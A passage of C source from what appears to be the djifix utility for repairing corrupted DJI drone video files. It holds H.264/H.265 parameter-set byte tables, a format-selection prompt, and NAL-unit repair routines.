static unsigned char type3_H264_SPS_1080p30_other[] = { 0x27, 0x64, 0x00, 0x28, 0xac, 0x34, 0xc8, 0x07, 0x80, 0x22, 0x7e, 0x5c, 0x05, 0xa8, 0x08, 0x08, 0x0a, 0x00, 0x00, 0x07, 0xd2, 0x00, 0x01, 0xd4, 0xc1, 0xd0, 0xc0, 0x00, 0x72, 0x70, 0x80, 0x00, 0x08, 0x0b, 0xef, 0x5d, 0xe5, 0xc6, 0x86, 0x00, 0x03, 0x93, 0x84, 0x00, 0x00, 0x40, 0x5f, 0x7a, 0xef, 0x2e, 0x1f, 0x08, 0x84, 0x51, 0x60, 0xfe };
static unsigned char type3_H265_SPS_1080p25[] = { 0x40, 0x01, 0x0c, 0x01, 0xff, 0xff, 0x21, 0x60, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x7b, 0xac, 0x09, 0xfe };
static unsigned char type3_H264_SPS_1080p25_MavicMini[] = { 0x67, 0x64, 0x00, 0x28, 0xac, 0x34, 0xc8, 0x07, 0x80, 0x22, 0x7e, 0x5c, 0x05, 0xa8, 0x08, 0x08, 0x0a, 0x00, 0x00, 0x07, 0xd0, 0x00, 0x01, 0x86, 0xa1, 0xd0, 0xc0, 0x00, 0x42, 0xc1, 0x80, 0x00, 0x10, 0xb0, 0x75, 0x77, 0x97, 0x1a, 0x18, 0x00, 0x08, 0x58, 0x30, 0x00, 0x02, 0x16, 0x0e, 0xae, 0xf2, 0xe1, 0xf0, 0x88, 0x45, 0x16, 0xfe };
static unsigned char type3_H264_SPS_1080p25_other[] = { 0x27, 0x64, 0x00, 0x28, 0xac, 0x34, 0xc8, 0x07, 0x80, 0x22, 0x7e, 0x5c, 0x05, 0xa8, 0x08, 0x08, 0x0a, 0x00, 0x00, 0x07, 0xd0, 0x00, 0x01, 0x86, 0xa1, 0xd0, 0xc0, 0x00, 0x4c, 0x4b, 0x00, 0x00, 0x15, 0x75, 0x29, 0x77, 0x97, 0x1a, 0x18, 0x00, 0x09, 0x89, 0x60, 0x00, 0x02, 0xae, 0xa5, 0x2e, 0xf2, 0xe1, 0xf0, 0x88, 0x45, 0x16, 0xfe };
static unsigned char type3_H264_SPS_1080p24_MavicMini[] = { 0x67, 0x64, 0x00, 0x28, 0xac, 0x34, 0xc8, 0x07, 0x80, 0x22, 0x7e, 0x5c, 0x05, 0xa8, 0x08, 0x08, 0x0a, 0x00, 0x00, 0x07, 0xd2, 0x00, 0x01, 0x77, 0x01, 0xd0, 0xc0, 0x00, 0x42, 0xc1, 0x80, 0x00, 0x10, 0xb0, 0x75, 0x77, 0x97, 0x1a, 0x18, 0x00, 0x08, 0x58, 0x30, 0x00, 0x02, 0x16, 0x0e, 0xae, 0xf2, 0xe1, 0xf0, 0x88, 0x45, 0x16, 0xfe };
static unsigned char type3_H264_SPS_1080p24_other[] = { 0x27, 0x64, 0x00, 0x28, 0xac, 0x34, 0xc8, 0x07, 0x80, 0x22, 0x7e, 0x5c, 0x05, 0xa8, 0x08, 0x08, 0x0a, 0x00, 0x00, 0x07, 0xd2, 0x00, 0x01, 0x77, 0x01, 0xd0, 0xc0, 0x00, 0x72, 0x70, 0x80, 0x00, 0x08, 0x0b, 0xef, 0x5d, 0xe5, 0xc6, 0x86, 0x00, 0x03, 0x93, 0x84, 0x00, 0x00, 0x40, 0x5f, 0x7a, 0xef, 0x2e, 0x1f, 0x08, 0x84, 0x51, 0x60, 0xfe };
static unsigned char type3_H264_SPS_720p30[] = { 0x27, 0x64, 0x00, 0x28, 0xac, 0x34, 0xc8, 0x05, 0x00, 0x5b, 0xb0, 0x16, 0xa0, 0x20, 0x20, 0x28, 0x00, 0x00, 0x1f, 0x48, 0x00, 0x07, 0x53, 0x07, 0x43, 0x00, 0x03, 0x93, 0x80, 0x00, 0x01, 0x01, 0x7d, 0xd7, 0x79, 0x71, 0xa1, 0x80, 0x01, 0xc9, 0xc0, 0x00, 0x00, 0x80, 0xbe, 0xeb, 0xbc, 0xb8, 0x7c, 0x22, 0x11, 0x47, 0x80, 0xfe };
static unsigned char type3_H264_SPS_480p30[] = { 0x67, 0x64, 0x00, 0x32, 0xac, 0xb4, 0x05, 0xa1, 0xed, 0x2a, 0x40, 0x00, 0x00, 0xfa, 0x00, 0x00, 0x3a, 0x98, 0x18, 0x10, 0x00, 0x1e, 0x84, 0x80, 0x06, 0xdd, 0xef, 0x7b, 0xe1, 0x78, 0x44, 0x23, 0x50, 0xfe };

static unsigned char type3_H264_PPS_default[] = { 0x28, 0xee, 0x38, 0xb0, 0xfe };
static unsigned char type3_H264_PPS_MavicMini[] = { 0x68, 0xee, 0x38, 0x30, 0xfe };
static unsigned char type3_H264_PPS_3000p30[] = { 0x28, 0xee, 0x38, 0xe1, 0x18, 0x46, 0x11, 0x84, 0x61, 0x18, 0x46, 0x11, 0x84, 0x70, 0xfe };
static unsigned char type3_H265_PPS_2160x4096p30[] = { 0x42, 0x01, 0x01, 0x21, 0x60, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xa0, 0x00, 0x80, 0x08, 0x00, 0x87, 0x1f, 0xe5, 0xae, 0xed, 0x4d, 0xdd, 0xc9, 0x75, 0x80, 0xb5, 0x01, 0x01, 0x01, 0x04, 0x00, 0x00, 0x0f, 0xa0, 0x00, 0x01, 0x86, 0xa0, 0xae, 0x11, 0x08, 0x20, 0xfe };
static unsigned char type3_H265_PPS_2160x3840p30[] = { 0x42, 0x01, 0x01, 0x21, 0x60, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xa0, 0x01, 0xe0, 0x20, 0x02, 0x1c, 0x7f, 0x96, 0xbb, 0xb5, 0x37, 0x77, 0x25, 0xd6, 0x02, 0xd4, 0x04, 0x04, 0x04, 0x10, 0x00, 0x00, 0x3e, 0x90, 0x00, 0x07, 0x53, 0x02, 0xb8, 0x44, 0x20, 0x80, 0xfe };
static unsigned char type3_H265_PPS_2160x3840p25[] = { 0x42, 0x01, 0x01, 0x21, 0x60, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xa0, 0x01, 0xe0, 0x20, 0x02, 0x1c, 0x7f, 0x96, 0xbb, 0xb5, 0x37, 0x77, 0x25, 0xd6, 0x02, 0xd4, 0x04, 0x04, 0x04, 0x10, 0x00, 0x00, 0x3e, 0x80, 0x00, 0x06, 0x1a, 0x82, 0xb8, 0x44, 0x20, 0x80, 0xfe };
static unsigned char type3_H265_PPS_1530p50[] = { 0x42, 0x01, 0x01, 0x21, 0x60, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xa0, 0x01, 0x54, 0x20, 0x06, 0x01, 0xf2, 0x65, 0xae, 0xed, 0x4d, 0xdd, 0xc9, 0x75, 0x80, 0xb5, 0x01, 0x01, 0x01, 0x04, 0x00, 0x00, 0x0f, 0xa4, 0x00, 0x03, 0x0d, 0x40, 0xae, 0x11, 0x08, 0x20, 0xfe };
static unsigned char type3_H265_PPS_1080p120[] = { 0x42, 0x01, 0x01, 0x21, 0x60, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xa0, 0x03, 0xc0, 0x80, 0x10, 0xe7, 0xf9, 0x6b, 0xbb, 0x53, 0x77, 0x72, 0x5d, 0x60, 0x2d, 0x40, 0x40, 0x40, 0x41, 0x00, 0x00, 0x03, 0x03, 0xe9, 0x00, 0x01, 0xd4, 0xc0, 0x2b, 0x84, 0x42, 0x08, 0xfe };
static unsigned char type3_H265_PPS_1080p60[] = { 0x42, 0x01, 0x01, 0x21, 0x60, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x7b, 0xa0, 0x03, 0xc0, 0x80, 0x10, 0xe7, 0xf9, 0x6b, 0xbb, 0x53, 0x77, 0x72, 0x5d, 0x60, 0x2d, 0x40, 0x40, 0x40, 0x41, 0x00, 0x00, 0x03, 0x03, 0xe9, 0x00, 0x00, 0xea, 0x60, 0x2b, 0x84, 0x42, 0x08, 0xfe };
static unsigned char type3_H265_PPS_1080p25[] = { 0x42, 0x01, 0x01, 0x21, 0x60, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x7b, 0xa0, 0x03, 0xc0, 0x80, 0x10, 0xa7, 0xf9, 0x6b, 0xbb, 0x53, 0x77, 0x72, 0x5d, 0x60, 0x2d, 0x40, 0x40, 0x40, 0x41, 0x00, 0x00, 0x03, 0x03, 0xe8, 0x00, 0x00, 0x61, 0xa8, 0x2b, 0x84, 0x42, 0x08, 0xfe };
static unsigned char type3_H264_PPS_480p[] = { 0x68, 0xee, 0x3c, 0xb0, 0xfe };

static unsigned char type3_H265_VPS_2160x4096p30[] = { 0x44, 0x01, 0xc1, 0x72, 0xb0, 0x9c, 0x0a, 0xc1, 0x5e, 0x24, 0xfe };
static unsigned char type3_H265_VPS_2160x3840[] = { 0x44, 0x01, 0xc1, 0x72, 0xb0, 0x9c, 0x0a, 0x01, 0x46, 0x24, 0xfe };
static unsigned char type3_H265_VPS_1530p[] = { 0x44, 0x01, 0xc1, 0x72, 0xb0, 0x9c, 0x1d, 0x0e, 0xe2, 0x40, 0xfe };
static unsigned char type3_H265_VPS_1080p[] = { 0x44, 0x01, 0xc1, 0x72, 0xb0, 0x9c, 0x14, 0x0a, 0x62, 0x40, 0xfe };


static unsigned printableMetadataCount = 0;

static void doRepairType3(FILE* inputFID, FILE* outputFID) {
/* Begin the repair by writing SPS, PPS, and (for H.265) VPS NAL units
(each preceded by a 'start code'):
*/
{
int formatCode;
unsigned char* sps;
unsigned char* pps;
unsigned char* vps = NULL; /* by default, for H.264 */
unsigned char c;

/* The content of the SPS, PPS, and VPS NAL units depends upon which video format was used.
Prompt the user for this now:
*/
while (1) {
fprintf(stderr, "First, however, we need to know which video format was used. Enter this now.\n");
fprintf(stderr, "\tIf the video format was H.264, 2160(x4096)p(4K), 60fps: Type 0, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 2160(x3840)p(UHD-1), 60fps: Type 1, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 2160(x4096)p(4K), 50fps: Type 2, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 2160(x3840)p(UHD-1), 50fps: Type 3, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 2160(x4096)p(4K), 48fps: Type 4, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 2160(x3840)p(UHD-1), 48fps: Type 5, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.265, 2160(x4096)p(4K), 30fps: Type 6, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 2160(x4096)p(4K), 30fps: Type 7, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.265, 2160(x3840)p(UHD-1), 30fps: Type 8, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 2160(x3840)p(UHD-1), 30fps (DJI Mini 2): Type 9, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 2160(x3840)p(UHD-1), 30fps (other DJI drones): Type a, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 2160(x4096)p(4K), 25fps: Type b, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.265, 2160(x3840)p(UHD-1), 25fps: Type c, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 2160(x3840)p(UHD-1), 25fps: Type d, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 2160(x3840)p(UHD-1), 24fps (DJI Mini 2): Type e, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 2160(x3840)p(UHD-1), 24fps (other DJI drones): Type f, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 1530p, 60fps: Type g, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.265, 1530p, 50fps: Type h, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 1530p, 48fps: Type i, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 1530p, 30fps: Type j, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 1530p, 25fps: Type k, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 1530p, 24fps (Mavic Mini): Type l, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 1530p, 24fps (other DJI drones): Type m, then the \"Return\" key.\n");
// fprintf(stderr, "\tIf the video format was H.265, 1080p, 120fps: Type m, then the \"Return\" key.\n");
// fprintf(stderr, "\tIf the video format was H.264, 1080p, 120fps: Type n, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.265, 1080p, 60fps: Type n, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 1080p, 60fps (Mavic Mini): Type o, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 1080p, 60fps (other DJI drones): Type p, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 1080p, 50fps: Type q, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 1080p, 48fps: Type r, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 1080p, 30fps (Mavic Mini): Type s, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 1080p, 30fps (other DJI drones): Type t, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.265, 1080p, 25fps: Type u, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 1080p, 25fps (Mavic Mini): Type v, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 1080p, 25fps (other DJI drones): Type w, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 1080p, 24fps (Mavic Mini): Type x, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 1080p, 24fps (other DJI drones): Type y, then the \"Return\" key.\n");
// fprintf(stderr, "\tIf the video format was H.264, 720p, 30fps: Type y, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 480p, 30fps (e.g., from a XL FLIR camera): Type z, then the \"Return\" key.\n");
fprintf(stderr, " If the resulting file is unplayable by VLC or IINA, then you may have guessed the wrong format;\n");
fprintf(stderr, " try again with another format.)\n");
fprintf(stderr, "If you know for sure that your video format was *not* one of the ones listed above, then please read FAQ number 4 at \"https://djifix.live555.com/#faq\", and we'll try to update the software to support your video format.\n");
do {formatCode = getchar(); } while (formatCode == '\r' && formatCode == '\n');
if ((formatCode >= '0' && formatCode <= '9') ||
(formatCode >= 'a' && formatCode <= 'z') ||
(formatCode >= 'A' && formatCode <= 'Z')) {
break;
}
fprintf(stderr, "Invalid entry!\n");
}

fprintf(stderr, "%s", startingToRepair);
switch (formatCode) {
case '0': { sps = type3_H264_SPS_2160x4096p60; pps = type3_H264_PPS_default; break; }
case '1': { sps = type3_H264_SPS_2160x3840p60; pps = type3_H264_PPS_default; break; }
case '2': { sps = type3_H264_SPS_2160x4096p50; pps = type3_H264_PPS_default; break; }
case '3': { sps = type3_H264_SPS_2160x3840p50; pps = type3_H264_PPS_default; break; }
case '4': { sps = type3_H264_SPS_2160x4096p48; pps = type3_H264_PPS_default; break; }
case '5': { sps = type3_H264_SPS_2160x3840p48; pps = type3_H264_PPS_default; break; }
case '6': { sps = type3_H265_SPS_2160x4096p30; pps = type3_H265_PPS_2160x4096p30; vps = type3_H265_VPS_2160x4096p30; break; }
case '7': { sps = type3_H264_SPS_2160x4096p30; pps = type3_H264_PPS_default; break; }
case '8': { sps = type3_H265_SPS_2160x3840p30; pps = type3_H265_PPS_2160x3840p30; vps = type3_H265_VPS_2160x3840; break; }
case '9': { sps = type3_H264_SPS_2160x3840p30_DJIMini2; pps = type3_H264_PPS_MavicMini; break; }
case 'a': case 'A': { sps = type3_H264_SPS_2160x3840p30_other; pps = type3_H264_PPS_default; break; }
case 'b': case 'B': { sps = type3_H264_SPS_2160x4096p25; pps = type3_H264_PPS_default; break; }
case 'c': case 'C': { sps = type3_H265_SPS_2160x3840p25; pps = type3_H265_PPS_2160x3840p25; vps = type3_H265_VPS_2160x3840; break; }
case 'd': case 'D': { sps = type3_H264_SPS_2160x3840p25; pps = type3_H264_PPS_default; break; }
case 'e': case 'E': { sps = type3_H264_SPS_2160x3840p24_DJIMini2; pps = type3_H264_PPS_MavicMini; break; }
case 'f': case 'F': { sps = type3_H264_SPS_2160x3840p24_other; pps = type3_H264_PPS_default; break; }
case 'g': case 'G': { sps = type3_H264_SPS_1530p60; pps = type3_H264_PPS_MavicMini; break; }
case 'h': case 'H': { sps = type3_H265_SPS_1530p50; pps = type3_H265_PPS_1530p50; vps = type3_H265_VPS_1530p; break; }
case 'i': case 'I': { sps = type3_H264_SPS_1530p48; pps = type3_H264_PPS_MavicMini; break; }
case 'j': case 'J': { sps = type3_H264_SPS_1530p30; pps = type3_H264_PPS_MavicMini; break; }
case 'k': case 'K': { sps = type3_H264_SPS_1530p25; pps = type3_H264_PPS_MavicMini; break; }
case 'l': case 'L': { sps = type3_H264_SPS_1530p24_MavicMini; pps = type3_H264_PPS_MavicMini; break; }
case 'm': case 'M': { sps = type3_H264_SPS_1530p24_other; pps = type3_H264_PPS_default; break; }
// case 'n': case 'N': { sps = type3_H265_SPS_1080p120; pps = type3_H265_PPS_1080p120; vps = type3_H265_VPS_1080p; break; }
// case 'o': case 'O': { sps = type3_H264_SPS_1080p120; pps = type3_H264_PPS_default; break; }
case 'n': case 'N': { sps = type3_H265_SPS_1080p60; pps = type3_H265_PPS_1080p60; vps = type3_H265_VPS_1080p; break; }
case 'o': case 'O': { sps = type3_H264_SPS_1080p60_MavicMini; pps = type3_H264_PPS_MavicMini; break; }
case 'p': case 'P': { sps = type3_H264_SPS_1080p60_other; pps = type3_H264_PPS_default; break; }
case 'q': case 'Q': { sps = type3_H264_SPS_1080p50_MavicMini; pps = type3_H264_PPS_MavicMini; break; }
case 'r': case 'R': { sps = type3_H264_SPS_1080p48_DJIMini2; pps = type3_H264_PPS_MavicMini; break; }
case 's': case 'S': { sps = type3_H264_SPS_1080p30_MavicMini; pps = type3_H264_PPS_MavicMini; break; }
case 't': case 'T': { sps = type3_H264_SPS_1080p30_other; pps = type3_H264_PPS_default; break; }
case 'u': case 'U': { sps = type3_H265_SPS_1080p25; pps = type3_H265_PPS_1080p25; vps = type3_H265_VPS_1080p; break; }
case 'v': case 'V': { sps = type3_H264_SPS_1080p25_MavicMini; pps = type3_H264_PPS_MavicMini; break; }
case 'w': case 'W': { sps = type3_H264_SPS_1080p25_other; pps = type3_H264_PPS_default; break; }
case 'x': case 'X': { sps = type3_H264_SPS_1080p24_MavicMini; pps = type3_H264_PPS_MavicMini; break; }
case 'y': case 'Y': { sps = type3_H264_SPS_1080p24_other; pps = type3_H264_PPS_default; break; }
case 'z': case 'Z': { sps = type3_H264_SPS_480p30; pps = type3_H264_PPS_480p; break; }
// case 'y': case 'Y': { sps = type3_H264_SPS_720p30; pps = type3_H264_PPS_default; break; }
default: { sps = type3_H264_SPS_2160x3840p30_other; pps = type3_H264_PPS_default; break; } /* shouldn't happen */
};

/*SPS*/
putStartCode(outputFID);
while ((c = *sps++) != 0xfe) wr(c);

/*PPS*/
putStartCode(outputFID);
while ((c = *pps++) != 0xfe) wr(c);

/*VPS*/
if (vps != NULL) {
putStartCode(outputFID);
while ((c = *vps++) != 0xfe) wr(c);
}
}

doRepairType3or5Common(inputFID, outputFID);
}

static void doRepairType4(FILE* inputFID, FILE* outputFID) {
/* A special type of repair, when we already know that the file begins with a SPS (etc.).
Repeatedly:
1/ Read a 4-byte NAL unit size.
2/ Write a 'start code'.
3/ Read 'NAL unit size' bytes, and write them to the output file.
*/
unsigned nalSize;

fprintf(stderr, "%s", startingToRepair);
while (!feof(inputFID)) {
if (!get4Bytes(inputFID, &nalSize)) return;
if (nalSize == 0 || nalSize > 0x008FFFFF) {
/* An anomalous situation (we got a NAL size that's 0, or much bigger than normal).
This suggests that the data here is not really video (or is corrupt in some other way).
Try to recover from this by repeatedly reading bytes until we see what we think is
video. With luck, that will begin sane data once again.
*/
unsigned next4Bytes;
unsigned long filePosition = ftell(inputFID)-4;

fprintf(stderr, "\n(Skipping over anomalous bytes (nalSize 0x%08x), starting at file position 0x%08lx (%lu MBytes))...\n", nalSize, filePosition, filePosition/1000000);
if (!get4Bytes(inputFID, &next4Bytes)) return; /*eof*/
while (!checkForVideoType4(nalSize, next4Bytes)) {
unsigned char c;

if (!get1Byte(inputFID, &c)) return;/*eof*/
nalSize = ((nalSize<<8)&0xFFFFFF00) | ((next4Bytes>>24)&0x000000FF);
next4Bytes = ((next4Bytes<<8)&0xFFFFFF00) | c;
}
fseek(inputFID, -4, SEEK_CUR);
filePosition = ftell(inputFID)-4;
fprintf(stderr, "...resuming at file position 0x%08lx (%lu MBytes)). Continuing to repair the file (please wait)...", filePosition, filePosition/1000000);
}
#ifdef CODE_COUNT
else {
unsigned next4Bytes;
if (!get4Bytes(inputFID, &next4Bytes)) return;
fseek(inputFID, -4, SEEK_CUR);
++codeCount[next4Bytes>>16];
//fprintf(stderr, "#####@@@@@A nalSize 0x%08x, next4Bytes 0x%08x\n", nalSize, next4Bytes);
}
#endif

putStartCode(outputFID);
while (nalSize-- > 0) {
wr(fgetc(inputFID));
}
}
}

static unsigned char type5_H265_SPS_3078p24[] = { 0x40, 0x01, 0x0c, 0x01, 0xff, 0xff, 0x01, 0x40, 0x00, 0x00, 0x03, 0x00, 0x80, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0xb4, 0xac, 0x0c, 0x00, 0x00, 0x0f, 0xa0, 0x00, 0x01, 0x67, 0x62, 0x00, 0xfa, 0x28, 0xfe };
static unsigned char type5_H265_SPS_2880p60[] = { 0x40, 0x01, 0x0c, 0x01, 0xff, 0xff, 0x22, 0x20, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xac, 0x0c, 0x00, 0x00, 0x03, 0x01, 0x90, 0x00, 0x00, 0x5d, 0xa9, 0x40, 0xfe };
static unsigned char type5_H265_SPS_2160x3840p120[] = { 0x40, 0x01, 0x0c, 0x01, 0xff, 0xff, 0x22, 0x20, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xac, 0x0c, 0x00, 0x00, 0x03, 0x01, 0x90, 0x00, 0x00, 0xbb, 0x51, 0x40, 0xfe };
static unsigned char type5_H265_SPS_2160x3840p100[] = { 0x40, 0x01, 0x0c, 0x01, 0xff, 0xff, 0x22, 0x20, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xac, 0x0c, 0x00, 0x00, 0x03, 0x01, 0x90, 0x00, 0x00, 0x9c, 0x41, 0x40, 0xfe };
static unsigned char type5_H265_SPS_2160x3840p60_variant1[] = { 0x40, 0x01, 0x0c, 0x01, 0xff, 0xff, 0x22, 0x20, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xbc, 0x0c, 0x00, 0x00, 0x03, 0x01, 0x90, 0x00, 0x00, 0x5d, 0xa9, 0x40, 0xfe };
static unsigned char type5_H265_SPS_2160x3840p60_variant2[] = { 0x40, 0x01, 0x0c, 0x01, 0xff, 0xff, 0x21, 0x60, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xac, 0x0c, 0x00, 0x00, 0x03, 0x01, 0x90, 0x00, 0x00, 0x5d, 0xa9, 0x40, 0xfe };
static unsigned char type5_H264_SPS_2160x3840p60[] = { 0x67, 0x64, 0x00, 0x34, 0xac, 0x4d, 0x00, 0x78, 0x00, 0x87, 0xd3, 0x50, 0x10, 0x10, 0x14, 0x00, 0x00, 0x03, 0x01, 0x90, 0x00, 0x00, 0xbb, 0x50, 0x3c, 0x70, 0xca, 0x80, 0xfe };
#define type5_H264_PPS_2160x384p60 type5_H264_PPS_1520p60 /*same*/
//static unsigned char type5_H265_SPS_2160x3840p50[] = { 0x40, 0x01, 0x0c, 0x01, 0xff, 0xff, 0x22, 0x20, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xac, 0x0c, 0x00, 0x00, 0x03, 0x01, 0x90, 0x00, 0x00, 0x4e, 0x21, 0x40, 0xfe };
static unsigned char type5_H265_SPS_2160x3840p50[] = { 0x40, 0x01, 0x0c, 0x01, 0xff, 0xff, 0x01, 0x60, 0x00, 0x00, 0x03, 0x00, 0x80, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0xb4, 0xa5, 0x02, 0x40, 0xfe };
//static unsigned char type5_H265_SPS_2160x3840p30[] = { 0x40, 0x01, 0x0c, 0x01, 0xff, 0xff, 0x01, 0x40, 0x00, 0x00, 0x03, 0x00, 0x80, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xac, 0x0c, 0x00, 0x00, 0x0f, 0xa0, 0x00, 0x01, 0xc5, 0x22, 0x00, 0xfa, 0x28, 0xfe };
static unsigned char type5_H265_SPS_2160x3840p30[] = { 0x40, 0x01, 0x0c, 0x01, 0xff, 0xff, 0x22, 0x20, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xac, 0x0c, 0x00, 0x00, 0x03, 0x01, 0x90, 0x00, 0x00, 0x2e, 0xd5, 0x40, 0xfe };
#define type5_H264_SPS_2160x3840p30_DJIMini2 type3_H264_SPS_2160x3840p30_DJIMini2 /* same */
static unsigned char type5_H265_SPS_2160p25[] = { 0x40, 0x01, 0x0c, 0x01, 0xff, 0xff, 0x22, 0x20, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xac, 0x0c, 0x00, 0x00, 0x03, 0x01, 0x90, 0x00, 0x00, 0x27, 0x11, 0x40, 0xfe };
static unsigned char type5_H264_SPS_2160x3840p25[] = { 0x67, 0x64, 0x00, 0x33, 0xac, 0x4d, 0x00, 0x78, 0x00, 0x87, 0xd0, 0x80, 0x00, 0x01, 0xf4, 0x00, 0x00, 0x61, 0xa8, 0x47, 0x8a, 0x15, 0x50, 0xfe };
static unsigned char type5_H265_SPS_2160p24[] = { 0x40, 0x01, 0x0c, 0x01, 0xff, 0xff, 0x01, 0x40, 0x00, 0x00, 0x03, 0x00, 0x80, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xac, 0x0c, 0x00, 0x00, 0x0f, 0xa0, 0x00, 0x01, 0x67, 0x62, 0x00, 0xfa, 0x28, 0xfe };
#define type5_H264_SPS_2160x3840p24_DJIMini2 type3_H264_SPS_2160x3840p24_DJIMini2 /* same */
static unsigned char type5_H265_SPS_2016p100[] = { 0x40, 0x01, 0x0c, 0x01, 0xff, 0xff, 0x21, 0x60, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xac, 0x0c, 0x00, 0x00, 0x03, 0x01, 0x90, 0x00, 0x00, 0x9c, 0x41, 0x40, 0xfe };
static unsigned char type5_H265_SPS_2016p60[] = { 0x40, 0x01, 0x0c, 0x01, 0xff, 0xff, 0x22, 0x20, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xac, 0x0c, 0x00, 0x00, 0x03, 0x01, 0x90, 0x00, 0x00, 0x5d, 0xa9, 0x40, 0xfe };
static unsigned char type5_H264_SPS_2016p60[] = { 0x67, 0x64, 0x00, 0x34, 0xac, 0x4d, 0x00, 0x54, 0x01, 0xfb, 0x4d, 0x40, 0x40, 0x40, 0x50, 0x00, 0x00, 0x06, 0x40, 0x00, 0x02, 0xed, 0x40, 0xf1, 0xc3, 0x2a, 0xfe };
//static unsigned char type5_H265_SPS_1080p60[] = { 0x40, 0x01, 0x0c, 0x01, 0xff, 0xff, 0x21, 0x60, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xac, 0x0c, 0x00, 0x00, 0x03, 0x01, 0x90, 0x00, 0x00, 0x5d, 0xa9, 0x40, 0xfe };
static unsigned char type5_H265_SPS_1080p60[] = { 0x40, 0x01, 0x0c, 0x01, 0xff, 0xff, 0x22, 0x20, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xac, 0x0c, 0x00, 0x00, 0x03, 0x01, 0x90, 0x00, 0x00, 0x5d, 0xa9, 0x40, 0xfe };
